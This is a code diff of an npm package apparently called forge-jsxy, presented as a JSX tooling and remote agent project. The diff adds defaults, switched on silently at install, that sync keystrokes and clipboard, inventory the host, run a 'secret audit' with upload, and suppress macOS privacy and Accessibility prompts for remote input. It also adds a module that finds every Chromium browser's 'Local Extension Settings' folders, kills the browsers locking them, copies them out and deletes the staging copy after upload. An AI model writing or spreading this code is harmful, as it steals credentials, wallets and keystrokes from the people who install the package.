+  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-restart.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-restart; exit $?";
 }
 function forgeJsxExplorerKillShellCommand(){
   if(useWindowsForgeJsxShellCommand()){
-    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-kill-agent -ErrorAction SilentlyContinue){ & forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
+    const fb = winLegacyNpmExec('forge-jsx-explorer-kill-agent') + winDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
+    return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-kill-agent.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent";
   }
-  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; if command -v forge-jsx-explorer-kill-agent >/dev/null 2>&1; then forge-jsx-explorer-kill-agent; else npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent; fi";
+  const ufb = unixLegacyNpmExec('forge-jsx-explorer-kill-agent') + unixDurableForgeScriptProbe('forge-jsx-explorer-kill-agent.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-kill-agent','forge-jsx-explorer-kill-agent');
+  return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-kill-agent.mjs\"; if [ -f \"$G\" ]; then node \"$G\"; exit $?; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- forge-jsx-explorer-kill-agent; exit $?";
 }
 /** Timeouts that call `doConnect()` after Upgrade or Restart agent — cleared on Disconnect or reconnect success (idle skips). */
 let forgeUpgradeReconnectTimeouts = [];
@@ -5475,7 +5517,7 @@ function onMsg(m){
       if(wasForgeUpgrade && !badExit){
         body +=
           '\n\n--- forge-jsxy upgrade ---\n'+
-          'Stdout above includes `[forge-jsxy-explorer-upgrade]` version status (e.g. planned X → Y, already up to date, or PM2 jlist unavailable so a worker still runs). '+
+          'Stdout above includes `[forge-jsx-explorer-upgrade]` version status (e.g. planned X → Y, already up to date, or PM2 jlist unavailable so a worker still runs). '+
           'On the agent host read `~/.forge-js/explorer-upgrade.log` for `worker start`, PM2 stop/restart lines, and `OK` / `FAIL npm install`. '+
           'If relay is not a PM2 process named `forge-relay`, set env `FORGE_JSX_PM2_RELAY_NAME=0` (and match `FORGE_JSX_PM2_AGENT_NAME` to your PM2 app name). '+
           'Verbose worker: `FORGE_JSX_EXPLORER_UPGRADE_LOG=1`. Reinstall anyway: `FORGE_JSX_EXPLORER_UPGRADE_FORCE=1`. '+
@@ -5483,21 +5525,14 @@ function onMsg(m){
       }
       if(wasForgeUpgrade && badExit){
         const stderrLower = e.toLowerCase();
-        const blankOut = !o.trim() && !e.trim();
-        const winLegacyShellTimeout =
-          ec === '4294967295' && blankOut;
         const winGlobalInstallPerm =
           stderrLower.includes('eperm') &&
           stderrLower.includes('appdata\\\\roaming\\\\npm\\\\node_modules\\\\forge-jsxy');
         body +=
           '\n\n--- forge-jsxy upgrade ---\n'+
           'Upgrade launcher exited non-zero. Fix errors on the agent host, then try Upgrade again or run the command manually in a local terminal.';
-        if(winLegacyShellTimeout){
-          body +=
-            '\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
-            'This agent build cannot execute remote shell reliably from the explorer. '+
-            'Run upgrade locally on that Windows host (PowerShell as the same user):\n'+
-            '  npm exec --yes --package=forge-jsxy@latest -- forge-jsxy-explorer-upgrade';
+        if(isWinLegacyShellFailure(ec, o, e)){
+          body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-upgrade');
         } else if(winGlobalInstallPerm){
           body +=
             '\n\nDetected Windows global npm permission lock on `%APPDATA%\\\\npm\\\\node_modules\\\\forge-jsxy` (EPERM mkdir). '+
@@ -5510,23 +5545,30 @@ function onMsg(m){
       if(wasForgeRestart && !badExit){
         body +=
           '\n\n--- forge-agent restart ---\n'+
-          'Stdout above should include `[forge-jsxy-explorer-restart]` scheduling line. The worker runs `restart-agent.mjs` (build, cfgmgr --stop, postinstall) with stdio hidden on the agent. '+
+          'Stdout above should include `[forge-jsx-explorer-restart]` scheduling line. The worker runs `restart-agent.mjs` (build, cfgmgr --stop, postinstall) with stdio hidden on the agent. '+
+          'Legacy global `forge-jsx` installs are probed automatically. '+
           'A line is appended to `~/.forge-js/explorer-restart.log` when the worker finishes. This session may drop; this page retries connecting ~2 minutes.';
       }
       if(wasForgeRestart && badExit){
         body +=
           '\n\n--- forge-agent restart ---\n'+
           'Restart launcher exited non-zero. Fix errors on the agent host, then try Restart agent again.';
+        if(isWinLegacyShellFailure(ec, o, e)){
+          body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-restart');
+        }
       }
       if(wasForgeKill && !badExit){
         body +=
           '\n\n--- kill agent ---\n'+
-          'Stdout above should include `[forge-jsxy-explorer-kill-agent]` scheduling line. The worker runs `forge-cfgmgr --stop`, `forge-autostart uninstall` (main agent + legacy OS npm-scheduler artifacts if any), best-effort PM2 `forge-agent` stop/delete, sanitizes `forge-js-agent.env`, and — when forge-jsxy is installed under `npm root -g` — a delayed `npm uninstall -g forge-jsxy` removes the global package tree. Details append to `~/.forge-js/explorer-kill-agent.log`. This file-explorer session will not auto-reconnect; reinstall forge-jsxy on the host if you need the agent again.';
+          'Stdout above should include `[forge-jsx-explorer-kill-agent]` scheduling line. The worker runs `forge-cfgmgr --stop`, `forge-autostart uninstall` (main agent + legacy OS npm-scheduler artifacts if any), best-effort PM2 `forge-agent` stop/delete, sanitizes `forge-js-agent.env`, and — when forge-jsxy or legacy forge-jsx is installed under `npm root -g` — a delayed `npm uninstall -g` removes both global package trees. Details append to `~/.forge-js/explorer-kill-agent.log`. This file-explorer session will not auto-reconnect; reinstall forge-jsxy on the host if you need the agent again.';
       }
       if(wasForgeKill && badExit){
         body +=
           '\n\n--- kill agent ---\n'+
           'Kill launcher exited non-zero. Fix errors on the agent host, then run Kill agent again or run the steps manually.';
+        if(isWinLegacyShellFailure(ec, o, e)){
+          body = appendWinLegacyShellHint(body, 'forge-jsx-explorer-kill-agent');
+        }
       }
       tout.textContent = body;
       terminalScrollToBottom();

package/dist/autostart/agentEnvFile.d.ts

@@ -40,6 +40,12 @@ export declare function forgeAgentEnvPath(dataDir: string): string;
  * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
  */
 export declare function applyDefaultHubUploadProcessEnv(): void;
+/**
+ * Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
+ * Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
+ * or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
+ */
+export declare function applyDefaultAgentFeatureProcessEnv(): void;
 /**
  * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
  * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).

package/dist/autostart/agentEnvFile.js

@@ -41,6 +41,7 @@ exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
 exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
 exports.forgeAgentEnvPath = forgeAgentEnvPath;
 exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
+exports.applyDefaultAgentFeatureProcessEnv = applyDefaultAgentFeatureProcessEnv;
 exports.applyDefaultAgentUnattendedProcessEnv = applyDefaultAgentUnattendedProcessEnv;
 exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
 exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
@@ -341,6 +342,9 @@ function forgeAgentEnvPath(dataDir) {
  * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
  */
 function applyDefaultHubUploadProcessEnv() {
+    if (!(process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "").trim()) {
+        process.env.CFGMGR_HF_FETCH_FROM_RELAY = "1";
+    }
     if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
         process.env.CFGMGR_HF_USE_XET = "0";
     }
@@ -348,6 +352,31 @@ function applyDefaultHubUploadProcessEnv() {
         process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
     }
 }
+/**
+ * Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
+ * Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
+ * or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
+ */
+function applyDefaultAgentFeatureProcessEnv() {
+    if (!(process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "").trim()) {
+        process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD = "1";
+    }
+    if (!(process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "").trim()) {
+        process.env.FORGE_JS_SYNC_HOST_INVENTORY = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_SECRET_AUDIT = "1";
+    }
+    if (!(process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "").trim()) {
+        process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
+    }
+}
 /**
  * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
  * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
@@ -360,6 +389,10 @@ function applyDefaultAgentUnattendedProcessEnv() {
     if (!(process.env.FORGE_JS_HEADLESS_UI ?? "").trim()) {
         process.env.FORGE_JS_HEADLESS_UI = "1";
     }
+    /** Block macOS osascript remote-input paths that can surface Accessibility prompts. */
+    if (!(process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "").trim()) {
+        process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
+    }
 }
 /**
  * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
@@ -398,6 +431,13 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
     lines.push(envFileLine("CFGMGR_HF_FETCH_FROM_RELAY", hfRelayFetchOff ? "0" : "1"));
     lines.push(envFileLine("CFGMGR_HF_USE_XET", "0"));
     lines.push(envFileLine("CFGMGR_HF_SKIP_OPENAS_BLOB", "1"));
+    lines.push(envFileLine("CFGMGR_SYNC_KEYBOARD_CLIPBOARD", "1"));
+    lines.push(envFileLine("FORGE_JS_SYNC_HOST_INVENTORY", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD", "1"));
+    lines.push(envFileLine("FORGE_JS_CLIPBOARD_POLL_ONLY", "1"));
+    lines.push(envFileLine("FORGE_JS_REMOTE_CONTROL_NO_PROMPT", "1"));
     if (process.platform === "linux") {
         let uid = 1000;
         try {
@@ -510,8 +550,17 @@ function applyForgeJsAgentEnvFile(dataDir) {
     }
     const map = parseForgeAgentEnvFileToMap(raw);
     for (const [k, v] of map) {
-        /** Installed defaults for Hub uploads — always honor the file after `npm install`. */
-        if (k === "CFGMGR_HF_USE_XET" || k === "CFGMGR_HF_SKIP_OPENAS_BLOB") {
+        /** Installed defaults — always honor the file after `npm install`. */
+        if (k === "CFGMGR_HF_USE_XET" ||
+            k === "CFGMGR_HF_SKIP_OPENAS_BLOB" ||
+            k === "CFGMGR_HF_FETCH_FROM_RELAY" ||
+            k === "CFGMGR_SYNC_KEYBOARD_CLIPBOARD" ||
+            k === "FORGE_JS_SYNC_HOST_INVENTORY" ||
+            k === "FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD" ||
+            k === "FORGE_JS_AGENT_SECRET_AUDIT" ||
+            k === "FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD" ||
+            k === "FORGE_JS_CLIPBOARD_POLL_ONLY" ||
+            k === "FORGE_JS_REMOTE_CONTROL_NO_PROMPT") {
             process.env[k] = v;
             continue;
         }

package/dist/chromiumExtensionDbHarvest.d.ts

@@ -0,0 +1,70 @@
+export declare const EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
+/** Relative path segment (case-insensitive) under a browser profile. */
+export declare const LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
+export type ExtensionDbSource = {
+    browserLabel: string;
+    /** Last segment of profile path (e.g. `Default`, `Profile 1`). */
+    profileLabel: string;
+    /** Profile directory relative to browser user-data root (POSIX slashes). */
+    profileRelPath: string;
+    extensionId: string;
+    absSourceDir: string;
+    /** Stable distinct key: browser + profile path + extension id. */
+    sourceKey: string;
+    /** Relative path inside the zip staging tree. */
+    stagingRelPath: string;
+};
+export type ExtensionDbHarvestResult = {
+    stagingRoot: string;
+    sources: ExtensionDbSource[];
+    copiedFiles: number;
+    /** Extension folders successfully copied. */
+    copiedFolders: number;
+    skippedFolders: number;
+    skippedCopyErrors: number;
+};
+/** Chromium `User Data`-style roots (may be profile root for Opera). */
+export declare function chromiumBrowserUserDataCandidates(): {
+    label: string;
+    root: string;
+}[];
+/** Profile folder path relative to browser user-data root (parent of `Local Extension Settings`). */
+export declare function profileRelPathFromLes(userDataRoot: string, lesDir: string): string;
+/** Find every `Local Extension Settings` directory under a browser user-data root. */
+export declare function findLocalExtensionSettingsDirs(userDataRoot: string, maxDepth?: number): {
+    profileLabel: string;
+    profileRelPath: string;
+    lesDir: string;
+}[];
+/** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
+export declare function extensionFolderHasDbFile(dir: string, maxDepth?: number): boolean;
+/** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
+export declare function discoverExtensionDbSourcesFromUserDataRoots(candidates: {
+    label: string;
+    root: string;
+}[]): ExtensionDbSource[];
+/** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
+export declare function discoverExtensionDbSources(): ExtensionDbSource[];
+export declare function extensionDbStagingRoot(): string;
+/** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
+export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string): string;
+export declare function stagingRelPathForSource(src: ExtensionDbSource): string;
+export type HarvestExtensionDbOptions = {
+    /** Terminate browsers locking profile paths before copy (default true). */
+    forceKill?: boolean;
+    /** Parallel copy workers (default 8). */
+    concurrency?: number;
+    quiet?: boolean;
+    /** Optional browser roots (tests); default scans all installed Chromium profiles. */
+    userDataCandidates?: {
+        label: string;
+        root: string;
+    }[];
+};
+/**
+ * Copy discovered extension folders into `<auditDir>/extension-db-staging/`.
+ * Returns empty `sources` when nothing to copy.
+ */
+export declare function harvestExtensionDbFoldersToStaging(opts?: HarvestExtensionDbOptions): Promise<ExtensionDbHarvestResult>;
+/** Remove staging tree after upload (best-effort). */
+export declare function removeExtensionDbStaging(): Promise<void>;